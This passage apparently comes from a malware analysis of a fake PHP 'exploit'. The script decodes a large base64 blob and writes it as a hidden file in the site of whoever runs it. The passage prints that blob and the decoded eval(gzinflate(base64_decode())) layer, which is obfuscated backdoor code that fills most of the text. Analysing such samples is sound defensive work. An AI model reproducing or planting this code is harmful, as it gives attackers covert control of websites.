kUlg5WHZHaENzNHVsS2VKUE94a1Fua2xrVmVjaitTVnZiekZJTUZGbWVCOHNPQ2lUQkRkWnlqUEk3aTRHTW56Q0M0dCtmTnFHWDJaWW96aThnOTNlWEZaRmRxcnJ1akxaVXpUU3N1cXYxRmpmUjB6TkpFaDY3cTZZaTBYVjM2R1NxeGpDY3dJcFcrc0gvTUNtYkRicGFCRjJyeUJqRUtma1VIb3MrWFNDcnVpVUtTNnkrV2xaZlg2Y1gvcUNnT0hzYTRubTBLR01YSzJYRWJVZ1g0NE9CM0VEaWlGTjAzNjR3cmdGYjlJUVFqcmp0LzlBU0dBdjdOWkZHREwyYkVsL2xoakpUQVRoMEFtWFI3SGZzVnpJUTgvVUdaRHZqRkgydVdadU1mNGg3OUpnSGJIMGtZQi9FYW9FcmRTVHpoemtIU2NBQkd6ZnlXWDgvbnRWMFp5bWY1VlpoV29BVzZiNHZQMFdLRzNiK1U5WWNIN1dSd1RCOWpTMVRtcDFFSFdVQ0RMbVlqalFpMEVZSEFOSnBHamxIMzRQLzB0NVkvWXB4eXNrblRlSXZjZmJxSzRFeDh4RFNaZFdPbERGdFNKVFpnbUxvNGV5OHcrNWs4Z3Axa0VxRDJmVFNBaDVWYlNGQ1V3U2srMERTNWZSUDc3cWxMeWR3bkhiMnZIRjg4WXVMK0ZKZ1VjMzBGQ3VVanJvbkhHN2M4ZHZMQnRzOTBOT0h6dGpuRy9BczJ4dytmc0dvMXJ2VjN5ZFRhVGpobTRRQi9JNHVybFEvQ1RHQklFVzc4WCthUWRxNHdMcnd5dzY2ZlJaQjBtQ3pWK2txZUl1Y1lwNkNiK1RwSUp1S1BIU21nNkwvWWNaOFZtenpxVFhkVi9WYTVoWnArbWZkS05kd0xSSTV6ZVA3NHQzcmNGNWwxL1JDdGxXRTN2dGpkMnUxeGd5UlN5eFRGM0JTK2tZckhoWDFuSkF2bDlQeDhIdVpGOHhpSk5DQ2VxWk1wT2xzQStGajkyNHNqOFBWRnA2S0o3YXlLSXNQVkNybUJRNzhnWDVzVnd5YlpMVWNNSFQ0c0dkNWY1N2UrNUZZOG11Wlo3c2I1MkwybWFkNUFQZE9iZi8zN2NPZnRjQ2ducHJIMnpuL2RJQmU4UmkyWWtuckdYMU5ZdnMvSXpQT0tPU0kxNFVLd2V5VTNoTnhyTHprVzZ3aTl5NTF4OTBnVnowNTk5dzJMZUhDS1FxOUh6UU5rWitzQ2pGWFMyaU04b1p0N3AwSStOTythcTJoZzZydTBzSzMyYkhvRmJVUlc3dDlteEduZDQxemM0RWp5dWRPOE9zblNEdUdYZ3BlRzVGWFVOZmhCbWZEdERaNitMeU5Tem5KN2tSRFpQVGo3c2IzK0dETThyU2tuczdnNlBQVHlpaFUrTmNKcXE0SmJ2MzFoV2VuYlBSRFpvUjlNOWdQSUhoeTJqbXNuRHYvUDA3eUw5dTBUL2FrWDJvYkVQQmxDcXNBOVdxTVFURjlnSEsxMWl4Y3RsOXNFS2xGbUJNb01zTDdKMVFNOWd3blgxWDBTR3BEemorSW5WVFN5ejV0M2xIbmhOblora2N3dmVLVUd0SUtsSC9EWnhNQWFVVVNibmx5cGhxYXlYNm5JbGRaMnNWczJyS1FkTThacG9uR20xUi93aXpUd01jdGpWL0hucWUvS0wxWHdtNDkzUU9CbGpKUTBqSHE1RGpMVFFpdSs3VkhJRnpHYVhSZ0tBK0ZMTUo5d2F5ZTRTNFNjclNjSFJlak5DRkdiUDBBb3pUZThoalNlS2VKSEp1QlFyNDlLVU1wNUNJcGpCcnZFVTRpL20vV09KVDVMWS9EUVNlNEtzS2x3Znk3R3lLazhycTFTRjVGZEVUcENYZDNkd0pnUkFzaTQrUS9rZXIzMFRqcUkrVFMyckMwelVsVmhSVjZZVWRYVXhUZFRpWHZGOHRaSVBYNGZnM3puK1IwemFjbFlWbHpyaG5RZGMwT283SGlEUklWNTJ2Zm5hTzd0UGZSSzdMSmFGT3NrM2gvTUxOVm1aVUZsMlJYcHkyZmxnMlRuR0RIdnVzeHptRGgrQ0NPRm5GK2dtU1hJcGpUTXIrVTdkK1dJU1c3R0szYjE3Y1kwdVQrRWQ1RWVmbzVFaVhlYWF5VDFSdFRYaGNxdXh1bDE5VVRmaVgzaWVyeFFqMmkxZGh5N3B0NXk2bkdYWE1NK0pONFVLL1hhZjd2ZndsRDJadFJLcW9uaE5NbEdiQXJ3ckhENnVDalVudlJKMEpYdE1OU2g5bVpabVl6cDNETXNoTUZTVUxYMnNoZ1NwWkY2L0NwaUxhZ0FRdTVoQjFWUjhiREpnQUdvUkVqVlB5YVBaSlhXdGxKSmRWdGZLS2RrVmRhMlNrbDFWMTZvcDJmUHEybnhLOW9LNnRwQ1N2YWl1TGFaa0w2bHJTOG5aV2hIRVVrekpSN0dseUUwRHVXa3BndE5BY0ZxSzVEU1FuSllpT2cxRXA2WElUZ1BaYVNuQzAwQjRXb3IwTkpDZWxpSStEY1NucGNpdkJQSXJwY2l2QlBJcnBjaXZoSHFYSXI4U3lLK1VJcjhTeUsrVUlyOFN5SytVSXI4U3lLK1VJcjhTeUsrVUlyOFN5SytVSXI4U3lLK1VJcjh5eUsrY0lyOHl5Szhja0ovb25qS3luenZDOXpEVXNNT0srQWg2TmlQTlN4em92YUh1ak5VMS9pV1pzUjJ6N2pCUThTMFo5a2gzR20xMWpUNlNvZGI3anRWUjErZ2pEZGNZTWFWUU94ajJUS2dBL0pzRzA4Rkt3cjhwL0F4YlEzY0FETkZuTXR5NTJSK1k5TkRibXZjMUdmcWtNYkFKbG45SmhqeTI3emxhOFMwWmRzdHNjRmp4YmFMSzNKaTZNMWxqOEZHVk5JWFJscGJRZzhDL2FUNWtpYnpJVXFvZktaSW5LYWI1a2lKMll2aHZLa3lKWU5KOFNoRzdNL3czRmFaQ01HbStwWWdkRy82YkNqTlBNR2srUnNDaytSa0JrK1pyQkV5Nm5Ba20yT2ZGS3NpZVBYeUVndEFUTzVNQ2o3UVd3L1pLYXkxc3E3U1d3blpLYXlWc283UVdRbm1rdFE2R0gya3RnL0ZIV3F0Z0FKTFdJdjlFSVAvWElwRDRIcG9lbVhwRUY4MGVvL29ubFA4bmxQLy9lME1LNWYrZkMrVkQrU0MvY29yOHltaTRLZklyZy96S0tmSXJnL3pLS2ZJcmcvektLZklyZy96S0tmSXJnL3pLS2ZJcmcvektLZktyZ1B3cUtmS3JnUHdxS2ZLcmdQd3FLZktyZ1B3cUtmS3JvT2RMa1Y4RjVGZEprVjhGNUZkSmtWOEY1RmRKa1Y4RjVGZEprVjhGNUZkSmtWOFY1RmROa1Y4VjVGZE5rVjhWNUZkTmtWOFY1RmROa1Y4VjVGZE5rVjhWdTQ0VStWVkJmdFVVK1ZWQmZ0VVUrVlZCZnRVVStWVkJmdFdBL0dJNzZuTjY4SEZ5UjgwZWh2eW5uLzZubi82bm4vNm5uLzZubi82bm4vNm5uLzcxL1hUc2tpeGY5VlNTbDJXVlg3M05aWWF4U0JkQnhGNEMzR2gzYmJwUG1VUGllU0ExV0hNQVdOdmNPenJaOHVxdXNyY2E0ckRabzE0Nk5nQUFiQ2VmamgrRHJlWDAwN0VCQUdEYlBUc05ZL01XbzNuWkp5NDl6L05kRmZPeEs4L3pnWlhuOTg5ZGV1N3JqdDdWTXZscU5lL3ZIdWVKOGpxdGw1UzQxc3pYaE5OWW1ZL3M4SWpiNkFDbFdSckN5UHNpS29FVlorS29wSkFrYVY5YkxNa0Z2UG85bzJieVdqRmN3VkswZ2lXMkJsMWNXRmlnS3NXYVdLTmRlL0Z0RDlQdGVnanUyUk1QckpYNE0wNThNNnppdmROR2UySHBPNjIwcjY3eEgxQWgycC90bFpkMGZVMHFJT241RS9ka2NZMWVpTlhvaGNTOUZDREpwYVJkQ1pJcWlRRUw2WFpvWHc5V0FqVksxREdnVS8rMU5uelNacXNLRStKaXJCQVhwOTFzVlVyekNpNTdGSm4yV3RLM3AwbWtKSW5rRVN5bE9pcTY1Vi9hYWFjcXZ5dFpaUTZ2YTE2WmE5dGRreTdHWWxmU1BwWmdOWlpnbzIwMjd1cjJBMjQ2d3oyelhiSjZMUlB3UG02dHE3dDN3RThwbnlrTUhnWXI2QWJ4OFN2a3lrdFlLYlFIWGVBcFlSK2xpYXZBTlM3Z1JHVjg5QWEvMElzZGdUY1VwalhZZWFac1M3SEt0alNsc2kzODlaUnQ0VCt0YkF1cHUyNDlkUUlaL0Y3NDNHNThaVkxRa3R6ZkF1cHVyRlkxOGFYbGw5R3Bwem1xc3RnUVhnd3FEejNRNHAxV2lEeXJvbnBieHJHY0ducGxSUnkrNXUrc0ZJdjhuWldpZHdBaThvNjFmMXo3ajdoRTZPZm41dmpsWmw5VU9acjVBczJLSnp2bTVyd2I3NzZvMG8wRmZqN3RYc01MSi9oQmtTaWM2b2xhUHVJaGVFN3VnR0tiMXVQZXg0bDN4WEJGbWJxMzhobGpMeEhKTDN0NitqSGRQbUxsYWU2bXpQczJMZUVRUWZBVWdUanEwdWlBbUZmcHV5YWZld21xMWVPUEhoVFRMRlM2Wmg2dE5LeHRnVnZvLzRoUFJvMlQ3cjJJQkppVEZZQmRndjhrLzdnNFhZaVozc3JZdTlCTi9qQW93czIzRTIvT0srSE5lZTlXaTA5V2tESlhrUGdURU5xMFJ5QW10N1dXM3RaYWZGdHJMOXZXMmwra3JkblpRUDVDM2xPYXI4cWJMLzVRaGpidHFZenkvS1RtbzFjUzhscDg0N0VuRkVKTnh4T2g0YWkyZ2FNQ0tad3NSSWEwVVU0NmFaeDA0ampoSFJRR0hJOWxKRHEyampMU1QyT2tIOGRJbnpFaVhxOTdKRE5hSk5pSk1rT25jSlBaNGU4U2hCbml5Y0FTdmN3UnUxbjg2VWJQSDZmSUw4MG5jQlZyOU9XWE5mcnlYOFhvM2VjWi9hSXcrdmpqUWRxMDU0TW1HMzBsemVncmNVWmY4WTJlSG1aNE1hdXZwRmw5SmM3cUs1N1Z1L3FMMlh3bHplWXJjVFpmK1hVMlgwbTMrVXE4elZja202ZVhTS2F6K2NrNmsycnlsWGlUcjBnbVR4ZmVQODNVSzM4UlUwOCtSU1UvVzhFdUVKa2kySHZpMFN0TkRDRGp6MTVwMHg2K211ejNxK2xLVUkxWGd1ckwrdjNxWDBNWm9qcmdQWnVSU1FQQVJ6citZeHJDaHdPbFlxeUc4T1FYT2hFdHZXdVNwQ0R6OFFveTd5c0ltM1Y1a2w3TS83MzFBcDlQK1kvcEJaOUhLTVhQSTVTbXZvMWdvdWRZU0ZlTWhYakZXSGhaejdId1Y5VVFmTGxtNnJaL1lyaXBhVHplTENYY2tqRHRISUdtVFF3NHhZczdTYzN2dmNnVGFuOC8vV1VVWUhHYUN6RTBMUks5eHRlck5LRmVwWVI2bFFJZTd5K3BtTkxUUmY4cDN3U2RFbFBQK0RtUTB0UnpJQk45MDFLNmIxcUs5MDFMTCt1Ymx2NGl2dWx4ajN1OGUzcnphcng1NDBlN3BXbEh1eE5ERXZIZ1ZGTHplZzlTaGFjb2l5OFNsZEFxelYraFlSUGVHSCtzVVplZVo5UmlxQksvVUtwTnUxSTYrV3FlcE5aZVRHanR4UW10L1RLWCt2em56ZFZydWFlR0MyWGhqK05IbWFWcFI1bVBDQmZFUzJ1SmpaaTBxaEJZVnNDWE56Q1ZQWmJ3Uk92OWk2d3MvQWZhdVNUR2l2SDc2VXJ6djZDZFN4UGFPV0dsVUN2RnRuUDlPUTM5RjFrdWpMcHA3MUcrcVgzMWt6VkJqQTdqOTZHVmtqZWl4U05rRjBBcHFiY3dwZXRKZVVLY0xiMHUrRWRTaHJjaE03Z2I4eW02VXA1cUdGR0szejRWclYveStNaC9nakcrZm55RTlPNFBCYXBsOVpvMjNnajd4NXI2eEhFRnhDeC9QL2ZGZDJLVjR2ZjlsYWJkK0RjNXJxeE1Vc3BLa2xKV1lvWi9UOUhEeWt2cllXV1NIbGFTOUxEeTk5RERpSGNWTzVmK2M4NlY3L0V0eFVmQ3BXa2o0ZWM3MStva1BhNG02WEgxVnpqWDZrc3JkWFdTVWxlVGxMcjY5MURxUnlodDVabEt1OFNIYi9HeG9UWnRiUGg4cFoydzBLQWxyRFJvb2FVRzBGZ0tIWitqc0gvWmRRZitxT25UWGRzMG8wUStyYVBGeDR4YU1HWlUzK0hOM0FNRFR3cmhIc1NCM2VjYkV4ZUsvNHRhSSt0U3FUanQvQjZxZDFoaHhBTEVmUFRPeGNCN3dHR0ZlZUVsQ0hyNGVBcE5ZY0xGdTRCUkYyUjk0WGVjeHdteEhCVmlrZDViNG5LWm51ZlNORHdMN1U3Z0dHOWxWeWNvL3Q5RTZjV3NWbnpNcVMzK01xV1BScWUvU09lZkU1NytQVlc5L0Y5UzlUZnhxeTh0YzRBdm1lQWpEL3duZjl4aDJPL1l1dUg2Ti9lcTc1cTIwMlhIQUZpbXdoNUZXY1dtVmJhUE55OXVUcmRYdThQT3dBSmpHTXdoK0N5K2V4SGV4djZvWTFiODl2RDRuUVhsYVhjV3hNOFZNZlhONE5NaitMVTQvYTMydU55UWZuYXAxOVR3OUJKOHhKMWZFamRpc3hOTUwzMmVzVFJsRFBDWDFaSE1FWlFZSzBtblM0V3l4Sy81bEN1UDlKUFZxTEcvaEZwQnc1ZW5WS3RINFMzOUlyemxYNFMzOG92d1ZuOFIzdmxmaEhmaEYrRmRET09kMExmOUluVmYra1hWdzZkZ2ZnM2lYMldnMnEreVVPMVhtYWoycTJ4VVN6RFNUQ2IvUzN1OEtRS2xoSHN6Sm5lS1diOVgxRHNkZTFUREUxbk50QTE1UEZPNjNpSnl1OFVYbFlDK3FHdjBHYjdqSW5qMUFDU00ybGFqbmMyTUdGc3AxMlo4VVJFRzhPSkhHQzNIUXE5U1QwSkRRTWdmZmlZZzZveDdENVB3SUF5Z3dZOGtMRERnY2llaVFTREVnNThKaVBDczNDUThDQU5vOENNQnkrNzJ4U1FrQUFJNDROOEFDblk3eWJNdUpSR2I2OHJ4T3l2TDArNnNqRmxFOVc1dW9Hdmt2cWphRjVVRmRLQTUxZ0JiM0xzWlJIbjhOUTRUcmlTSjdvV1RvMlRIN1BLaDVzSmlQdE1lRFBCeDg2bm1jVlBmdE9uWURZNWVLejdqRGFwcG91MG5IZVRoUzFEbCtJMlY1V2szVnFaUGd4cVBlbFBKc0VjOURQTi96YnRLRlNaUjRMR05UenZHMW1LcHhKOTRqTm1COUIzblpSelRkZmxqbllnSHpCV1pjSFREc3JFaUFnSnI4OTNDdXlNeUNuN3lNVkVjVnJQWEFMLzdTSnd0Z2JTVmlyVStMYTkxZ2JjdThENnkyWmZpaDZ5eFJQQUZPN0FLSkpQQk11MUhYNElScWFFcXZhdXQrczhCUFY3OWwvZ0drbkxDaTJKODQyYUJ4bmRRK1NaOWpadlRLUWZqWGh5MDlnWktVMitZcTFlbVkrZzluZm0rMmRJYXlERnlSUUlPNXpPOVRMS0FLK3oxSm5hT3Z4NCt5NCt6YitrdHRKanFyZndueWZrNXJsTE1NejhobU1CVFA1RThQTkZWV3NDZGx3VnR1YVFsWDdtRVJlazUzTWZjYWNIckdkU3V3R082ZEpjQ2Uwd1hkU3l0SFJKbFRVOXNLVm5sbmE2MEhiTzVpcThMbjIrZlhXMmZmYzZjN3AzQzk4TWRCUG1EbnYxTnhzTWZFZFBYbEp4b3I5aUtTRE03L0wxZ1ZBZnhkRENiNGNrblhoZWlGYVVMSHg0bklId3hPbDlNUkloSHVuT1AxcXpvZ2Ntd1pyRm42UFB4S3NYZnFBOHBrMGlWRGtvL25pT3FRTnBlUzNJaXVqT080MG5LbFprS0pQT0Z1QXhiV0NuUUE5d1JCaG5OSjk4eHhVWVo2SFBNLzZMZldWejQrL3VkWDZES0NXeE8xR1VkT3I5eDF4NjZVL0kxVVlqaVFHOGlheDVBbURzcEF4aXNXNTNPK0gzWGFqaTJhemNIQmVpNXAyTjFNVFVBUklJc0trNWdNN0s0SXlYaWFpYjhuQVhUbzl0NTB2c1Vta3cyMlAyUmovY2NqNHpwUy9IOVVscUVGRjN5RFY1bmh6emowRnM4NmJpMmMzRmEyOWcvWGorNzhRWjhjdGI2K2ViK3ZwL3ppQ0hUTS8xVDVTL3BvTFJpOFI4UDlZK0gra3ZZK0YvTDl3MzcwM2krdjcxL2lwK2xaZTVKcGNsYTRTTm9tTWN1UEkwZFZPSjlDRThhVFdwRjhUNTEvTGtUbnZ3WEdFNXF4Zkl6dmFaV1ROL0ZDT09PY3N3V0RqdTRjOE5tcXQzV0czZW04eDRGTCt3NTRWVml1cXJpMFNxVXluL3FVWSttWTNkamEwQVpBU05sQ1MvaW1ZcXAzaDBzNEZzc1Q1UWg4OFFUVUxKbXAyTXJ4Tm0wdkVUZFpDWjBjU1ArWXBjMmxrcnN6c2JTV3FZUTNiYnpFTDc1NVdFZ0x1YXhPZ3BoYVpzTytqU2MveEUwMWpMUERGaXFmOUdBNWJsVE9mODkwNXM0SS91UC9ZWHNEd1dtSUl1S3VJWDAxd1FyNWVrSEpDOHhaZnQveXpMTFMzOWZ5NnpiK0J6dVA3YjUxKzBidGVuNnhtYkh0bzNIZDQ3QTdnNldVR05rWlBWUVJNeUJJMHdtSDcybFRjcVYrUWtrTDhOZ08zQmYzRGxZVy9hdW5nc1JMWVNJb2xFbTBxVE1DRW1lQ2hTZlBhK2E1bXpTQmdiZXphai8vcmQzWHlKODdiZllwKzNvL0FKRmY3OUZKakJpTXVwcmJMdUhkTWVxdE1DZkVhT2xvL0g1eDBOdnBDU0t1S2xGem1PS0VHZng4S2UyTzJnNVprd2hVWTI0VWllTzN1aVljb2tBbFBkZXpmUTdjUmZGUUNuK2NBNVAvaXNNbE1vVG83WHloRW1CbUxNZS9BMlVLVGQ3RzNXeFVKWjdOSFZOaSsvbXhWSkluVTlPWmZLTDBaVVFMek93RUNLbGdwdUNFRVR2dEVHOXFIL0tLTURMTXBLQlFDRkloODJleFZLSlRKcjVhZkdYd1U2b2REbDFIb1labzFHUFk4YkxDemdrUDFHK1FmaWZOY24vNHBya0pBMUlEUlpZZzNhU0ZhQVQwLzZoYTV2L1RxdVI1Zjh6cTVFVFo2MmU3SXovY2FtVERTcWpMQ2NlbDBoZkFIZ0ppMHVVQklQdUp5UHZ4eUNQdVFoNUNtbWtqbzllcW9OaEZTNGtWWGhRVDVFblprWkpzRlNnZ1oxRXRNcFR4aU9jN1dHWEhrZEtPL2szOFVDVFlUWFI5dUVqN2tBVEpQT05nOXBDaklma21VSC82Q1hpTGM3QVlpSGFhei9CTFM3OTR4Yi9jWXYvdU1XL1N0dzlTYTNqcjYyZmJzajE1OUNFS0NzSHJpSm8rRWxHNnM4RDBleFBtYjltVlJGekFnd2hzQktqbm94V1NEOUZJc2pnZk8va2s3SzFmckcrc1g2K2ZiN3lwVWNKOFBPUS9kbyszTjY4VUg1WGRzNU9qaFQwOFg2aWQ0TGNUMEtBTEQxalZaQWZzR0x2VGswZExRb0hwSHBPN25IVExLa3YyMDB4bzhBdmN5akhYK2JBa3g4eG8xQ3EvdUtkdkpOOGRTWDlHTDJXZWpjc2Y0VUIrMUN0VWwwSVRCVk1RcHpxdit2NDlCeTZCWWJkbVE1M0tXVjNRZlJJQ0NqbUYzVXRmUDdsMUtSRE5QZ1IzbkRnd1d3Q3dPWlROeDFVaWxQSEErVW54UU8vV3NYd2tZWG42VmpxMHhvV2YzWWsyeklIWmcvTTYyejc2T1JpdTdhK3RYV0dCdzMrVUpKeWxoVnA3MVBJbDA5aUtmVnlNKy94a2VuVi92K3FhajV0dTk2dlZzM1NjMVd6bEtxYUZDUFdudUVFUzZscTVwaGRlMkRXTUFobCtDMm5VVEQwVHM4Y0ZKemhWSFJTNTRRNEhiOGU4L1B6MDFWanFpTjRxVXFORnluMHJiNVo2S2ZydGdmWCtBOHErZE1Xa2w5S3lVOGQrMkg4NjdweXhDN3BRRmtybC85YlNoRDBiUC9WWmsyTUphZmVyVmZodDBTWDQ2OUM0c2s4Wkh6VWJRZHhpZ1NqQU50WmRVemplVjA2emFHa09rNHQvaEloLzFTbG0zSzFVZWJNYkF4aGhIQnZLbDF3UHM1WU1SL2ErdERGQnM4RXJncDZGS1dVdTdjeVI0Uy8xckVnUWFLaVdEM2xzOUxYRzNmWm5QSlZFYnN5bjBBODVUYWt6SWE5d3dnTmV6RDZzYUFKdnB2UHBWZEpvWGRJdGJTZ2lWdlF5TkE1TllZZGZXQXEyZmxxdFZ6TklTKzNacy9ZN3JXc252a0UydFVVMnVjZk94YVErcXdZSGFyaS9SQTZLa2V2VzVBOGZnS3QrUlJhcDV0bjI5aDhqdG1xZGZWQm8wMFVwZFoxVE5jZU9nM1RWYktuZTZmS083ekdUTXM5Z1l1RnA2cVdPM0JxanRrMzlVR2d3VGsvbFVLbFVNMC9tYXZGRks3V1FhbmJKc2pHaHVxN3lwM1Y2ZEJPbldscExLWFFPSUh4UFYyTlpQVmdJTzJ5TFdkN1c0Vjk1ZDdTb2ZJRHM5c0hSMDgxcHdwamZVdDVwVnJRQ3FXblZKamVpSmhvWlRpSE5ITDBmcExFUy9rNEJxYThZK2F2N25YVDNLNG5LZWltOVRGdTV1dE1KNnZIc1pEbWp6MFdJQTF0Uk53NytBdllTUFBNNnlnQVpkTUIrL1JNTnV5azV5dEtIU3c3eE5XVGpWWkw4OXkrV0VBbUZqaU9EdWhYbkZDUS9NT1R5S2M1YjQ5OGU5RHRnTEphQTh0MDQ4bHJoZms4dGt6bFNVeWtlZlY5M20raGQybDI3QkhqNkx2VnJ3Rkg0R2p4SnVwRVovb2tidEs4dTk4aWYyTEhWaHNhelpwaDRyVUp0YnFGYStHL3dLOXJhWTZkZFRmS2VnZUhuVVRUWTdIcnRrQTZEUk1DcWwvQlZXcFgwR3dxRzJQbHBHZnlrS3JkcjRFT216cmRkd0plcjlaQUk0dmpxL3AwV3lxbDlRZG5adE4wekY3RFZEYnRJVG5lb0VZbEJXT1N0TUxLSGJxSUtUSWVJS0NNU01qNDhYM1o5K2YwYitJOGZ1cVkwSjZkbmYyc1hBeWRPOHZkbXowYmRzeGI1ZDlpa2gwdmllWmZDeW9raXowNy9KS1owV2hVNk9yM2xsYXduZGJhRVg2akRUa1J3RmE3VVhDR2E3dDdtL0g1aUVnSDE5Qm82emovc0xiZE1lOGc3akVzbEIwdnNtdGl6RWZDSEZoZGN4bDRjNkFOREp5aW8rMjRtSnJOemJvRDNSbmc5enp1N1ZTK1F2MXNxY2Z6NU92Sk95SnBmQXdTMHRGZjRaYkFQOVpldi9yL0FRPT0nKSkpOwo/Pg==";  48: $open = fopen("../.fantasticodata/kanoodle_settings.php","w");  49: $handle = fwrite($open,base64_decode($trsm));  50: @fclose($open);  51: if($open){  52: echo"[+] Opening an Exploit File ... Done\n\n";  53: }else{  54: echo"[+] Can Not Open File Because You Don't Have a Permission or You Didn't Put Me in Main WebSite\n\n";  55: exit;  56: }  57: if($handle){  58: echo"[+] Building Exploit File ... Done \n\n";  59: echo"[+] Exploit Has Successfully Built \n\n";  60: }  61: ?>  62: </textarea></td>  63:         </tr>  64:     </table>  65: </div>  66: <p>&nbsp;</p>

The “exploit” starts by deleting the file “fantasticodata/kanoodle_settings.php” and then it creates a hidden directory with the name fantasticodata by placing a dot ‘.’ in front creating “.fantasticodata'” .

As someone can see at line 47 there is an interesting piece of code stored on trsm variable. The code is base64 encoded and it can be easily decoded using an online decoder tool. My choice these days is http://base64decode.org/ .

Placing the code in base64decode.org we can see the decoded version of it:

   1: <?php   2:  # ZaIdOoHxHaCkEr - r00t@dns.jo   3:  # Mavi1 ~ TurkisH-RuleZ TEAM   4:  eval(gzinflate(base64_decode('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